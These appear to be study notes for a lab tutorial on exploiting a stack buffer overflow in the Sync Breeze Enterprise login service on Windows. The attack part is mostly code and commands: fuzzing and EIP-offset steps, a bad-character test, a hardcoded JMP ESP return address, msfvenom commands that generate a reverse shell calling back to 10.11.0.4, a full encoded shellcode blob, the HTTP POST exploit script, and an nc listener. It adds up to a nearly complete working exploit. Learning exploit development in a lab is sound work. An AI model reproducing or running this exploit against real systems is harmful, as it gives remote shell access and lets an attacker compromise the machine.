Skip to main content

WBO-Windows Buffer Overflows

Ultimate Goal

Getting a reverse shell (control over target machine's shell) without crashing the target application.

Target Application in this example, 'Sync Breeze Enterprise' service in windows.

  1. Fuzzing the HTTP Protocol

    Test with different lengths of buffers to test if an application would fail (crash)

    e.g. Send 800 'A' as the username with http to the target.

    Use Immunity Debugger to track the target application status (if it crashes)

    Observe that EIF register is occupied by some buffer.

  2. Controlling EIF

    Determine which bytes occupies the EIF register.

    Use Metasploit to create some unique 4-byte strings

    msf-pattern_create -l 800: create 800 unique 4-byte strings

    When app crashes, see what value is in EIF, say '42306142'

    msf-pattern_offset -l 800 -q 42306142 to find offset of the 4 bytes that occupy EIF, say it's 780

    #!/bin/python
    # ...
    filler = "A" * 780
    eip = "B" * 4
    buffer = "C" * 16
    inputBuffer = filler + eip + buffer
    # ...

    We get 42424242 in EIF, which is BBBB in ASCII . (42 in Hex is 66 in ASCII and represents 'B' in ASCII ) Ascci Table

    Now we have control over EIF (Address of next instruction to execute)

  3. Locating Space for our shell code

    We can control EIF and don't know what address to use. We will do this later, we now focus on reverse shell code (what we will pass in buffer and use to run reverse shell).

    We found that ESP is filled with "CCCC...", which is our buffer.

    Reverse shell payload need approx. 350-400 bytes of space.

    Solution: increase buffer length

    filler = "A" * 780
    eip = "B" * 4
    offset = "C" * 4
    buffer = "D" * (1500 - len(filler) - len(eip) - len(offset))
    inputBuffer = filler + eip + offset + buffer

    Now we have more space for shell code.

  4. Check for bad characters

    Depending on application, vulnerablilty type, protocol used, some chars cannot be used, such as string null terminator 0x00. Could cause strcpy command to stop early and truncate our buffer. Also for http protocol, should avoid return character 0x0D, stands for end of http field (username).

    Always check for bad characters, send all possible character from 0x00 - 0xFF.

    #!/usr/bin/python 
    import socket

    badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

    try:
    print "\nSending evil buffer..."
    filler = "A" * 780
    eip = "B" * 4
    offset = "C" * 4

    inputBuffer = filler + eip + offset + badchars
    content = "username=" + inputBuffer + "&password=A"
    # ...

    In Immunity Debugger, right click on ESP address "Follow in Dump" to view the content at that address when app crashes to see if the buffer at that location is expected. If 0x00 - 0xFF isn't complete and continuous in that location, the char that stops the continuity is a bad char, take note of it and remove it. Then keep testing until all bad chars are found.

    Bad Chars: 0x00, 0x0A, 0x0D, 0x25, 0x26, 0x2B, 0x3D

  5. Redirecting The Execution Follow

    Replace the eip var in python code with ESP's value at the time of the crash.

    Value of ESP changes regularly. Hard coding wouldn't work.

  6. Find a Return Address

    Solution for previous problem: JMP ESP

    Find a reliable static address that contains JMP ESP instruction, at the time of crash, point EIP to this location.

    This JMP ESP could be in another app, it just has to be static (the address of this location cannot contain any of the bad chars)

    Use Immunity Debugger !mona modules to check all ddl or modules loaded by target app to the memory space.

    From the flags in this output, we need to find some modules with SafeSEH319 (Structured Exception Handler Overwrite, an exploit-preventative memory protection technique), ASLR, and NXCompat (DEP protection) disabled. In other words, the executable has not been compiled with any memory protection schemes, and will always reliably load at the same address, making it ideal for our purposes.

    Note: the address cannot contain bad chars as well.

    Need to find JMP ESP in target modules.

    Use msf to translate the hex-representation or opt code of JMP ESP

    msf-nasm_shell
    > jmp esp
    # get FFE4

    Search in Immunity Debugger, !mona find -s "\xff\xe4" -m "module_name.dll"

    The address of JMP ESP cannot contain bad chars.

    Use this address for EIP register, address is in reverse order since many systems use little endian byte order.

    Little Endian: low order byte number stored in memory at lowest address, high order at highest address, thus have to use reverse order.

  7. Generating Shell code with metasploit

    LHOST: destination ip of shell

    LPORT: connect back port

    -f c: c formated shell code

    msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=433 -f c

    There could be bad char in generated shell code.

    Encode shell code to avoid bad chars.

    msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -f c –e x 86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" 
  8. Getting a shell

    Put the shell code in place of the buffer.

    Another problem: due to the encoding, the shell code is prepended by decoder. Some data like return address and offset are overwritten by the decoder.

    Solution: create wide landing pad with 0x90, no operation, do nothing, pass execution to the next instruction.

    Add 10 nops (\x90) before the shell code buffer

    shellcode = ("\xbe\x55\xe5\xb6\x02\xda\xc9\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"   "\x52\x31\x72\x12\x03\x72\x12\x83\x97\xe1\x54\xf7\xeb\x02\x1a"   "\xf8\x13\xd3\x7b\x70\xf6\xe2\xbb\xe6\x73\x54\x0c\x6c\xd1\x59"   "\xe7\x20\xc1\xea\x85\xec\xe6\x5b\x23\xcb\xc9\x5c\x18\x2f\x48"   "\xdf\x63\x7c\xaa\xde\xab\x71\xab\x27\xd1\x78\xf9\xf0\x9d\x2f"   "\xed\x75\xeb\xf3\x86\xc6\xfd\x73\x7b\x9e\xfc\x52\x2a\x94\xa6"   "\x74\xcd\x79\xd3\x3c\xd5\x9e\xde\xf7\x6e\x54\x94\x09\xa6\xa4"   "\x55\xa5\x87\x08\xa4\xb7\xc0\xaf\x57\xc2\x38\xcc\xea\xd5\xff"   "\xae\x30\x53\x1b\x08\xb2\xc3\xc7\xa8\x17\x95\x8c\xa7\xdc\xd1"   "\xca\xab\xe3\x36\x61\xd7\x68\xb9\xa5\x51\x2a\x9e\x61\x39\xe8"   "\xbf\x30\xe7\x5f\xbf\x22\x48\x3f\x65\x29\x65\x54\x14\x70\xe2"   "\x99\x15\x8a\xf2\xb5\x2e\xf9\xc0\x1a\x85\x95\x68\xd2\x03\x62"   "\x8e\xc9\xf4\xfc\x71\xf2\x04\xd5\xb5\xa6\x54\x4d\x1f\xc7\x3e"   "\x8d\xa0\x12\x90\xdd\x0e\xcd\x51\x8d\xee\xbd\x39\xc7\xe0\xe2"   "\x5a\xe8\x2a\x8b\xf1\x13\xbd\xbe\x0e\x1b\x2f\xd7\x12\x1b\x4e"   "\x9c\x9a\xfd\x3a\xf2\xca\x56\xd3\x6b\x57\x2c\x42\x73\x4d\x49"   "\x44\xff\x62\xae\x0b\x08\x0e\xbc\xfc\xf8\x45\x9e\xab\x07\x70"   "\xb6\x30\x95\x1f\x46\x3e\x86\xb7\x11\x17\x78\xce\xf7\x85\x23"   "\x78\xe5\x57\xb5\x43\xad\x83\x06\x4d\x2c\x41\x32\x69\x3e\x9f"   "\xbb\x35\x6a\x4f\xea\xe3\xc4\x29\x44\x42\xbe\xe3\x3b\x0c\x56"   "\x75\x70\x8f\x20\x7a\x5d\x79\xcc\xcb\x08\x3c\xf3\xe4\xdc\xc8"   "\x8c\x18\x7d\x36\x47\x99\x8d\x7d\xc5\x88\x05\xd8\x9c\x88\x4b"   "\xdb\x4b\xce\x75\x58\x79\xaf\x81\x40\x08\xaa\xce\xc6\xe1\xc6"   
    "\x5f\xa3\x05\x74\x5f\xe6")

    filler = "A" * 780
    eip = "\x83\x0c\x09\x10"
    offset = "C" * 4
    nops = "\x90" * 10

    inputBuffer = filler + eip + offset + nops + shellcode
    content = "username=" + inputBuffer + "&password=A"

    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 10.11.0.22\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefo x/52.0\r\n"

    run sudo nc -lnvp 443 to listen on port 443 for the reverse shell to connect.

  9. Improve The Exploit (Prevent App from crashing)

    App crashing could prevent testers from testing after exiting.

    If the service is a threaded application, try avoid crash with ExitThread API instead of ExitProcess API.

    Service won't be bring down.

    EXITFUNC= thread

    msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC= thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\3d" 

    Replace the shell code with the output of this command.

    It will prevent the service from crashing.